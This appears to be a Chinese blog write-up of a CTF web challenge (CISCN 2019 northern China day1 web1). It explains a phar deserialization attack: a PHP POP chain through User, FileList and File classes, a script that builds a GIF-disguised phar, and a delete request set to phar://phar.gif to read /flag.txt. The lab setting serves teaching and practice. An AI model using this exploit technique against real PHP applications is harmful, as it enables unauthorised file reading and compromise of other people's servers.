ciscn_2019_web_northern_china_day1_web1解题思路

题目:

一.注册用户

用户名:admin 密码 admin

二.随便上传(是否有文件上传漏洞)

三.有下载功能(bp抓包一下)

四.有文件下载漏洞(下载index.php,class.php,download.php,delete.php)

题目标签提示是一道反序列化的题目,但是没有找到明显的可以输入序列化数据的地方。

我们了解一下另一种利用反序列化的手段:phar反序列化。

必须要看这篇文章。

https://xz.aliyun.com/t/2715

本题是否符合phar反序列化的条件?

1. phar文件要能够上传到服务器端。
如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
2. 要有可用的魔术方法作为“跳板”。
3. 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

五.造pop链和phar反序列化。提取一下class.php中的要用的方法。

class User {
    public $db;
    public function __destruct() {
        $this->db->close();
    }
}
class FileList {
    private $files;
    private $results;
    private $funcs;
 
    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);
 
        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);
 
        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }
 
    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }
 
}
class File {
    public $filename;
    public function close() {
        return file_get_contents($this->filename);
    }
}

 char.php

<?php
    class User {
        public $db;
    }
    class File {
        public $filename;
    }
    class FileList {
        private $files;
        private $results;
        private $funcs;
        public function __construct() {
            $this->files = array();
            $this->results = array();
            $this->funcs = array();
            
            $file = new File();
            $file->filename = '/flag.txt';    
            array_push($this->files, $file);
        }
    }
 
    $user = new User();
    $filelist = new FileList();
    $user->db = $filelist;
 
    $phar = new Phar("phar.phar"); 
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");  
    $phar->setMetadata($user); 
    $phar->addFromString("123.txt", "123"); 
    $phar->stopBuffering();
?>

执行之后回生成一个.phar文件,但是执行前需要

将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
修改php.ini后,执行phar.php。在同目录下生成了一个phar.phar文件。


将其改名为phar.gif


上传。


该怎么利用?

在download.php中有这么一条语句。

ini_set("open_basedir", getcwd() . ":/etc:/tmp");
说明

只可以访问当前目录、/etc和/tmp三个目录

还好我们可以在delete.php的删除功能下操作。

点击删除,burp抓包,修改filename为: phar://phar.gif

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值